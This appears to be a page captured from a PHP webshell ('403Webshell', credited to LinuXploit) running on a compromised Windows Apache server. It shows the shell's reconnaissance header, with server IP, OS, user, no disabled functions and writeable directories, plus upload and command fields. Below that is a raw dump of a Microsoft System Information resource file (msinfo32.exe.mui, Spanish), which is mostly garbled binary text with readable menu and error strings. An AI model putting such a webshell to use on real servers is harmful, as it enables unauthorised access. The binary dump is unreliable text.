403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/Program Files/Common Files/microsoft shared/MSInfo/es-ES/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/Program Files/Common Files/microsoft shared/MSInfo/es-ES/msinfo32.exe.mui
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$5�<�q�R�q�R�q�R�e���p�R�e�P�p�R�Richq�R�PEL�!�

��\@ �8.rdata�@@.rsrc� �@@�i�
T88�i�$��8.rdata8x.rdata$zzzdbg P	.rsrc$01P)(k.rsrc$02 ����%��	Oڈ�3S�6݌\�P��i�	�@�X�x���	�����	� ��8��P��h�������$����	�����(�@�X�p����������� �!�"0�#H�$`�%x�&��/��0��6��7��8�< �=8�BP�Lh�M��N�����r���������(�
@
P
`
p
�
�
�
�
�
�
�
�


 
0
@
P
`
p
�
�
�
�
�
�
�
�


 
0
@
P
`
p
�
�
�
�
�
�
�
�
	D)��**�0*j��,$��.��/��`1�t4��:���>r�0?.�`?~��B��G���I��\L&��M��DO���P��R��\Ux��\Z�0_H�x`��xb��xr �����|����X�d�$�������������������V�X���<���Ԡ"���4�,�d���*���8��H�<���MUIIDR_WHAT_IS_THIS_MENU�������S������h��2;+�U��;Ӆ2de����MUI	es-ES�d���Qu� es esto?PA&Archivo�&Abrir...	Ctrl+A�&Cerrar�&Guardar...	Ctrl+G�E&xportar...�&Imprimir...	Ctrl+P��&Salir&Editar"�&Copiar	Ctrl+C�S&eleccionar todo	Ctrl+E�$�Ocultar &Buscar	Ctrl+B&Ver
�&Actualizar��&Equipo remoto...	Ctrl+R�Ay&uda�&Contenido�
�&Acerca de Informaci�n del sistema...PA���ȀDEquipo remotoMS Shell DlgP�9����Fuente de informaci�n del sistema	Pd����&Equipo local	P����Equipo &remoto en la red:P*V����&Nombre de equipo de red:��Pl(l����P�2���AceptarP�2���Cancelar������4Informaci�n del sistemaMS Shell DlgPD2���CancelarP�����Actualizando la informaci�n del sistema...��@���HInformaci�n del sistemaMS Shell DlgP������Actualizando la informaci�n del sistema...�P$��msctls_progress32Progress1P�
���� Po62���Cancelar��@φ
=,Informaci�n del sistema
Segoe UI3�P*~v�SysTreeView32Tree1	�P�*�v�SysListView32List1 @�4����&Buscar esto:��@=�U����@��H����Busca&r@��H���Buscar &Siguiente@��H���&Cerrar b�squeda@��H���C&ancelar b�squeda @��	����Buscar solo la categor�a se&leccionada @��	����Buscar solo &nombres de categor�aPAInformaci�n del sistemaiArchivos de informaci�n del sistema (.nfo)|*.nfo|Archivos CAB (.cab)|*.cab|Todos los archivos (*.*)|*.*||NFO*Actualizando la informaci�n del sistema...Seleccione una subcategor�aArchivo de texto|*.txt||TXT$No se puede recopilar la informaci�n�No hay memoria suficiente para ejecutar el Instrumental de administraci�n de Windows. Intente cerrar aplicaciones o archivos para liberar memoria.�Acceso denegado al servidor de Instrumental de administraci�n de Windows en %s. P�dale al administrador que cambie sus permisos de acceso.�Acceso denegado al servidor de Instrumental de administraci�n de Windows en este equipo. P�dale al administrador que cambie sus permisos de acceso.\Conexi�n err�nea a %s.  Compruebe que se est� ejecutando el servicio Winmgmt en este equipo.XError al conectarse a este equipo. Compruebe que el servicio Winmgmt se est� ejecutando.fError de red al conectar con "%s". Aseg�rese de que su conexi�n de red est� funcionando correctamente.�Error de red al conectarse al Instrumental de administraci�n de Windows. Compruebe que la conexi�n de red est� funcionando correctamente.�No se puede tener acceso al software de Instrumental de administraci�n de Windows. Los archivos correspondientes no se encuentran o fueron movidos.Informaci�n del sistemaPA)Mostrar informaci�n detallada del equipo.PAbytesKBPAMBGBTB
No disponibleDesconocidoNo se puede mostrar informaci�n�La informaci�n en esta categor�a no se puede mostrar. Los datos han sido recogidos por un componente que no est� disponible en este equipo.No hay coincidencias.Buscando...FInformaci�n del sistema debe ejecutarse utilizando el Centro de ayuda.xInformaci�n del sistema no puede abrir esta archivo CAB. No contiene ning�n archivo con datos de informaci�n de sistema.	VerdaderoPAFalso%s bytes%.2f KB (%s bytes)%.2f MB (%s bytes)%.2f GB (%s bytes)%s KBCEste tipo de archivo no se puede abrir con Informaci�n del sistema.	%d d�a(s)�No se puede establecer la conexi�n con su equipo. Compruebe que el nombre de la ruta de red es correcta, que tiene permisos suficientes para tener acceso al Instrumental de administraci�n de Windows y que este �ltimo est� instalado en su equipo.�No se puede establecer la conexi�n con %s. Compruebe que el nombre de la ruta de red es correcta, que tiene permisos suficientes para tener acceso al Instrumental de administraci�n de Windows y que este �ltimo est� instalado en su equipo.PA&Informaci�n actual del sistema1Archivo de informaci�n de sistema (*.NFO)|*.nfo||�Uno o m�s archivos requeridos para abrir esta versi�n de un archivo NFO no se encuentran o est�n da�ados. Instale el Kit de recursos.PA	Dr Watson%Herramienta de diagn�stico de DirectX,Utilidad de comprobaci�n de firma de archivoRestaurar sistemaDiagn�sticos de redDocumento de MSInfo
Exportar comoWindowsInternet Explorer Ver el contenido del archivo CAB5Ya no se admite el formato de archivos de Windows 98.5La informaci�n del sistema no puede abrir el archivo.ValorElementoFecha de creaci�nTama�oVersi�nArchivoEstadoDescripci�n
FabricanteC�decDispositivoRecursoNombre para mostrarNombreEstadoPAModo de inicioTipo de servicioRutaControl de errorNombre de inicioId. de etiqueta	Canal IRQ
Puerto E/S	Canal DMADirecci�n de memoriaNombre de grupoNombre de usuarioProgramaComando	Ubicaci�nId. de dispositivo PNPPAS�NoVariableNombre del puertoNombre del servidorNombre local
Nombre remotoTipoIniciadoAceptar la pausaAceptar la detenci�nControladorC�digo de error	DocumentoPropietario	Notificar
Hora de env�oHora de inicio
Hasta la horaTiempo transcurridoP�ginas impresasId. de trabajo	Prioridad
Par�metrosProcesador de impresi�nCola de impresi�n host
Tipo de datosId. del procesoEspacio m�nimo de trabajoEspacio m�ximo de trabajoFecha del archivoObjetoServidor localTipo de recursoTipo de dispositivoHoraCambiarDetalles`Nombre del sistema operativo|%s
Versi�n|%s %s Compilaci�n %s
Fabricante del sistema operativo|%sXNombre del sistema|%s
Fabricante del sistema|%s
Modelo del sistema|%s
Tipo de sistema|%vProcesador|%s, %s MHzVersi�n y fecha de BIOS|%s, %cgDirectorio de Windows|%s
Directorio del sistema|%s
Dispositivo de arranque|%s
Configuraci�n regional|%aNombre de usuario|%sMemoria f�sica total|%ywMemoria f�sica disponible|%y
Memoria virtual total|%y
Memoria virtual disponible|%y
Espacio de archivo de paginaci�n|%yArchivo de paginaci�n|%sZona horaria|%sVersi�n de SMBIOS|%s:Estado de activaci�n|Activaci�n pendiente (quedan %d d�as).Capa de abstracci�n de hardware|Versi�n = "%s"KProcesador|%s, %s Mhz, %d procesadores principales, %d procesadores l�gicos`Nombre del SO|%s
Versi�n|%s compilaci�n %s
Descripci�n adicional del SO |%s
Fabricante del SO|%sMemoria f�sica instalada (RAM)�Hyper-V - Extensiones de modo de monitor VM|%b
Hyper-V - Extensiones de traducci�n de direcci�n de segundo nivel|%b
Hyper-V - Virtualizaci�n habilitada en Firmware|%b,Hyper-V -Protecci�n de ejecuci�n de datos|%bVSe detect� un hipervisor. No se mostrar�n las caracter�sticas necesarias para Hyper-V.Modo de BIOS|%sTFabricante de la placa base|%s
Producto de placa base|%s
Versi�n de la placa base|%sRol de plataforma|%s!Versi�n de controladora integradaResumen del sistemaRecursos de hardwareConflictos/uso compartidoDMAHardware forzadoE/SIRQsMemoriaComponentes
MultimediaC�decs de audioC�decs de v�deoPACD-ROMDispositivo de sonidoPantallaInfrarrojosEntradaTecladoDispositivo se�aladorM�demRed	Adaptador	ProtocoloWinSockPuertosSerieParaleloAlmacenamientoUnidadesSCSI	Impresi�nDispositivos con problemasUSBEntorno de softwareControladores de sistemaVariables de entornoTrabajosTrabajos de impresi�nConexiones de redEjecutando tareasM�dulos cargados	ServiciosGrupos de programasProgramas de inicioPARegistro de OLEIDEDiscos	SeguridadInforme de errores de WindowsResumen de sistema (\\%s)�Unidad|%s
Descripci�n|%s
Medio cargado|%b
Tipo de medio|%v
Nombre|%s
Fabricante|%s
Estado|%v
Tasa de transferencia|%0.2f KB/s
Id. de SCSI de destino|%s
Id. de dispositivo PNP|%s%s|%s|%v|%v|%v|%l|%v|%s|%s%s|%s|%s%s|%l|%v|%vaDescripci�n|%s
Nombre|%s
Distribuci�n|%s
Id. de dispositivo PNP|%s
N�mero de teclas de funci�n|%s�Tipo de hardware|%s
N�mero de botones|%s
Estado|%v
Id. de dispositivo PNP|%s
Compatible con administraci�n de energ�a|%b
Umbral de doble clic|%s
Diestro o zurdo|%vzNombre|%s
Descripci�n|%s
Id. de dispositivo|%s
Tipo de dispositivo|%s
Adjunto a|%s
Modo de respuesta|%s
Id. de dispositivo PNP|%s
Nombre de proveedor|%s
Ruta INF de m�dem|%s
Secci�n INF de m�dem|%s
Pantalla desactivada|%s
Pantalla activada|%s
Compresi�n desactivada|%s
Compresi�n activada|%s
Control de error exigido|%s
Control de error desactivado|%s
Control de error activado|%s
Control de flujo fuerte|%s
Control de flujo desactivado|%s
Control de flujo d�bil|%s
DCB|%s
Predeterminado|%s
Tiempo de espera de inactividad|%s
Campana de modulaci�n|%s
CCITT de modulaci�n|%s
Prefijo|%s
Pulso|%s
Restablecimiento|%s
Responde a nombre clave|%s
Marcado en modo de altavoz|%s
Modo de altavoz desactivado|%s
Modo de altavoz activado|%s
Configuraci�n de modo de altavoz|%s
Volumen de altavoz alto|%s
Volumen de altavoz bajo|%s
Volumen de altavoz medio|%s
Formato de cadena|%s
Terminador|%s
Tono|%s�Nombre|%s
Servicio sin conexi�n|%b
Garantiza entrega|%b
Garantiza difusi�n|%b
Tama�o m�ximo de direcci�n|%z
Tama�o m�ximo de mensaje|%z
Orientado a mensajes|%b
Tama�o m�nimo de direcci�n|%z
Orientado a pseudo difusi�n|%b
Compatible con difusi�n|%b
Compatible con informaci�n de conexi�n|%b
Compatible con informaci�n de desconexi�n|%b
Compatible con cifrado|%b
Compatible con datos expeditos|%b
Compatible con cierre correcto|%b
Compatible con ancho de banda garantizado|%b
Compatible con multidifusi�n|%b%s|%s|%s;Nombre|%s
Fabricante|%s
Estado|%v
Id. de dispositivo PNP|%sPA1Nombre|%s
Id. de dispositivo PNP|%s
Tipo de adaptador |%s, compatible con %s
Descripci�n de adaptador|%s
RAM de adaptador|%z
Controladores instalados|%s
Versi�n del controlador|%s
Archivo INF|%s (secci�n %s)
Esquema de color|%s
Entradas de tabla de colores|%s
Resoluci�n|%s x %s x %s hercios
Bits/p�xel|%s	Nombre|%s#Nombre|%s
Id. de dispositivo PNP|%s%s|%s|%s|%s%s|%s|%v|%v|%s %l|%s|%l|%v|%b|%v|%v|%v|%v|%b|%b;Nombre|%s
Fabricante|%s
Estado|%v
Id. de dispositivo PNP|%s;Nombre|%s
Fabricante|%s
Estado|%v
Id. de dispositivo PNP|%s5%s|%d|%s|%s|%s|%t|%t|%t|%d|%d|%d|%d|%s|%s|%s|%s|%s|%s%s|%s(Descripci�n|%s
Fabricante|%s
Modelo|%s
Bytes/sector|%s
Medio cargado|%b
Tipo de medio|%v
Particiones|%s
Bus SCSI|%s
Unidades l�gicas SCSI|%s
Puerto SCSI|%s
Id. de destino SCSI|%s
Sectores/pista|%s
Tama�o|%z
N� total de cilindros|%w
N� total de sectores|%w
N� total de pistas|%w
Pistas/cilindro|%s�Nombre|%s
Tipo de adaptador|%s
Tipo de producto|%s
Instalado|%b
Id. de dispositivo PNP|%s
Restablecido por �ltima vez|%t
�ndice|%s�Nombre de servicio|%s
Direcci�n IP|%s
Subred IP|%s
Puerta de enlace IP predeterminada|%s
DHCP habilitado|%b
Servidor DHCP|%s
Expiraci�n de la concesi�n DHCP|%t
Concesi�n DHCP obtenida|%t
Direcci�n MAC|%r�Nombre|%s
Estado|%v
Id. de dispositivo PNP|%s
Tama�o m�ximo de b�fer de entrada|%s
Tama�o m�ximo de b�fer de salida|%b
Velocidad en baudios configurable|%b
Bits de datos configurables|%b
Control de flujo configurable|%b
Paridad configurable|%b
Comprobaci�n de paridad configurable|%b
Bits de parada configurable|%b
RLSD configurable|%b
Compatible con RLSD|%b
Compatible con modo de 16 bits|%b
Compatible con caracteres especiales|%b}Velocidad en baudios|%s
bits/byte|%s
Bits de parada|%s
Paridad|%v
Ocupado|%b
Anular lectura/escritura ante error|%b
Modo binario habilitado|%b
XMit en XOff continuo|%b
Control de flujo CTS|%b
Descartar bytes nulos|%b
Control de flujo DSR|%s
Sensibilidad DSR|%s
Tipo de control de flujo DTR|%v
Caracteres EOF (fin de archivo)|%s
Car�cter de reemplazo de error|%s
Reemplazo de error habilitado|%b
Car�cter de evento|%s
Control de paridad habilitado|%b
Tipo de control de flujo RTS|%v
Car�cter XOff|%s
Umbral de XOffXMit|%s
Car�cter de XOn|%s
Umbral de XOnXMit|%s
Control de flujo de entrada XOnXOff|%s
Control de flujo de salida XOnXOff|%sUnidad|%s
Descripci�n|%s�Unidad|%s
Descripci�n|%s
Compresi�n|%b
Sistema de archivos|%s
Tama�o|%z
Espacio disponible|%z
Nombre de volumen|%s
N�mero de serie del volumen|%s0Unidad|%s
Descripci�n|%s
Nombre del proveedor|%sArchivo|%s
Tama�o|%z
Versi�n|%sPPartici�n|%s
Tama�o de partici�n|%z
Desplazamiento inicial de partici�n|%w bytes%s|%s|%v%s|%s|%z|%t|%s|%l%s|%l%s|%s%s|%s|%s|%v|%s|%s|%z|%t%s|%b|%s|%s|%c|%s|%s|%s|%sNombre del dispositivoFirmadoClase de dispositivoVersi�n del controladorFecha del controladorPA
Nombre de INFNombre de controladorId. de dispositivo%t|%s|%sEstado de arranque seguro|%sConfiguraci�n de PCR7|%sSKU del sistema|%s
Producido porNombre de producci�nVersi�n de productorPAArranque seguro
No compatibleActivadaDesactivadaEnlace no posible"Enlace deshabilitado por directivaEnlace posibleEnlazadoNo especificado
EscritorioM�vilEstaci�n de trabajoEnterprise ServerSOHO ServerAppliance PCPerformance ServerTableta t�ctil-Se necesita elevaci�n de privilegios para ver"Seguridad basada en virtualizaci�nNPropiedades de seguridad necesarias para la seguridad basada en virtualizaci�nOPropiedades de seguridad disponibles para la seguridad basada en virtualizaci�nAServicios configurados para la seguridad basada en virtualizaci�nAServicios en ejecuci�n para la seguridad basada en virtualizaci�nEjecut�ndoseHabilitado pero sin ejecutarse
No habilitado)Compatibilidad con la virtualizaci�n baseProtecci�n de DMAArranque seguro(Hipervisor exige la integridad de c�digoCredential GuardPA8Directiva de Control de aplicaciones de Windows DefenderHDirectiva de modo usuario de Control de aplicaciones de Windows DefenderSobrescritura de memoria seguraImpuestaAuditada	Biometr�aC�digo UEFI de solo lecturaSMM Security Mitigations 1.0)Control de la ejecuci�n basada en el modo
Inicio seguroMedici�n del firmware de SMMVirtualizaci�n de APIC6Protecci�n de pila impuesta por hardware (modo Kernel)Aislamiento de m�quina virtual
Habilitado-Propiedades de aislamiento de m�quina virtualAMD SEV-SNP"Seguridad basada en virtualizaci�n	Intel TDX,Compatibilidad con cifrado de dispositivo|%s!Cumple con los requisitos previos7Razones del error de cifrado autom�tico del dispositivoNo se puede usar TPMNo se admite el enlace PCR7WinRE no est� configuradoDeshabilitado por directivaNo se admite Windows To GojError en la interfaz de prueba de seguridad de hardware. El dispositivo no est� en modo de espera moderno.PAHSe detect� un bus o un dispositivo compatible con DMA que no se permite.%La caracter�stica no est� disponible.PAProtecci�n de DMA de kernelPA.El informe del sistema se escribi� en: %x %X

][=[ Lo siguiente son subcategor�as de esta categor�a principal]1.2&SOFTWARE\Microsoft\Shared Tools\MSInfo~msicabs300300	P�gina %d#Informaci�n del sistema versi�n 8.01040010Courier NewInformaci�n del sistemaInformaci�n del sistema}Error desconocido al imprimir el informe. Compruebe que su impresora funciona correctamente y vuelva a intentar la operaci�n.dMemoria insuficiente al imprimir el informe. Cierre aplicaciones innecesarias y vuelva a intentarlo.lEspacio en disco insuficiente al imprimir el informe. Quite los archivos innecesarios y vuelva a intentarlo.&Windows anul� el trabajo de impresi�n.9El trabajo de impresi�n ha sido cancelado por el usuario.tError desconocido al intentar guardar un archivo. Compruebe que el disco no est� lleno o protegido contra escritura.C�dec de audio o v�deoSistema del equipoMemoriaDiscoIRQControlador	Canal DMA#Direcci�n de dispositivo de memoriaProtocolo de redSistema operativoRecurso PNP asignadoDispositivo Plug and PlayRecurso de puerto	ImpresoraGrupo de programasProgramas de inicio�Informaci�n del sistema no puede abrir este archivo .nfo. Es posible que el archivo est� da�ado o que no sea compatible con esta versi�n de Informaci�n del sistema.Nombre del sistema: <No se puede abrir este archivo porque ya se est� utilizando.PA
Versi�n %s"Archivo de informaci�n del sistema�Sistema operativo|%s
Versi�n|%s %s Compilaci�n %s
Descripci�n adicional del sistema operativo |%s
Fabricante del sistema operativo|%sPAUEFIHeredadoA�C"�F$�O�P�R�S�V%��
��4VS_VERSION_INFO��
4aJ
4aJ?StringFileInfo�0C0A04B0LCompanyNameMicrosoft CorporationXFileDescriptionInformaci�n del sisteman'FileVersion10.0.19041.3636 (WinBuild.160101.0800)6InternalNamemsinfo.dll�8LegalCopyright� Microsoft Corporation. Todos los derechos reservados.FOriginalFilenamemsinfo.dll.muil&ProductNameSistema operativo Microsoft� Windows�DProductVersion10.0.19041.3636DVarFileInfo$Translation
�PADDINGXXPADDING

Youez - 2016 - github.com/yon3zu
LinuXploit